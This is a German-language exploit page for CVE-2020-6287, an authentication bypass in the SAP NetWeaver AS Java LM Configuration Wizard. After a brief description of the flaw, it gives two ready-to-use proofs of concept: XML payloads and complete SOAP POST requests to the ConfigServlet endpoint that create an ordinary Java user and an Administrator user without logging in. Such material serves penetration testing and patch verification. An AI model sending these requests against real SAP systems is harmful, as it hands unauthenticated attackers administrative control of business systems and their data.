
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Umgehung der Authentifizierung (Einfachen & Administrator-Java-Benutzer erstellen)
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Umgehung der Authentifizierung (Einfachen und Administrator-Java-Benutzer erstellen)
SAP NetWeaver ist die integrierte Technologieplattform von SAP und die technische Grundlage aller SAP-Anwendungen seit SAP Business Suite. SAP NetWeaver ist eine serviceorientierte Anwendungs- und Integrationsplattform, die eine Entwicklungs- und Laufzeitumgebung für SAP-Anwendungen bereitstellt und auch für kundenspezifische Entwicklungen und die Integration mit anderen Anwendungen und Systemen genutzt werden kann. SAP NetWeaver AS JAVA (LM Configuration Wizard), Versionen 7.30, 7.31, 7.40, 7.50, führt keine Authentifizierungsprüfung durch, was einem Angreifer ohne vorherige Authentifizierung erlaubt, Konfigurationsaufgaben auszuführen, um kritische Aktionen gegen das SAP-Java-System durchzuführen, einschließlich der Möglichkeit, einen administrativen Benutzer zu erstellen, und somit die Vertraulichkeit, Integrität und Verfügbarkeit des Systems zu gefährden, was zu einer fehlenden Authentifizierungsprüfung führt.
GET /CTCWebService/CTCWebServiceBean?wsdlProof of Concept (PoC) 1Proof of Concept (PoC) 2CVE-2020-6286Proof of Concept (PoC) 1: Einfachen Java-Benutzer erstellen
Payload
<root>
<user>
<JavaOrABAP>java</JavaOrABAP>
<username>pentestuser</username>
<password>v3rystr0ngp@ssw0rd</password>
<userType></userType>
</user>
</root>
Kodieren Sie das obige Payload in Base64 und fügen Sie es in das Feld <BASE64_ENCODED_PAYLOAD_HERE> der folgenden Anfrage ein
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
Proof of Concept (PoC) 2: Administrator-Java-Benutzer erstellen
Payload
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>Administrator</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>ThisIsRnd9326</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>ThisIsRnd5031</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>ThisIsRnd9846</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">pentestuser</userName>
<password secure="true">v3rystr0ngp@ssw0rd</password>
</PCKUser>
<PCKReceiver>
<userName>ThisIsRnd6461</userName>
<password secure="true">ThisIsRnd5525</password>
</PCKReceiver>
<PCKMonitor>
<userName>ThisIsRnd9457</userName>
<password secure="true">ThisIsRnd9037</password>
</PCKMonitor>
<PCKAdmin>
<userName>ThisIsRnd8386</userName>
<password secure="true">ThisIsRnd8477</password>
</PCKAdmin>
</Usermanagement>
</PCK>
Kodieren Sie das obige Payload in Base64 und fügen Sie es in das Feld <BASE64_ENCODED_PAYLOAD_HERE> der folgenden Anfrage ein
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>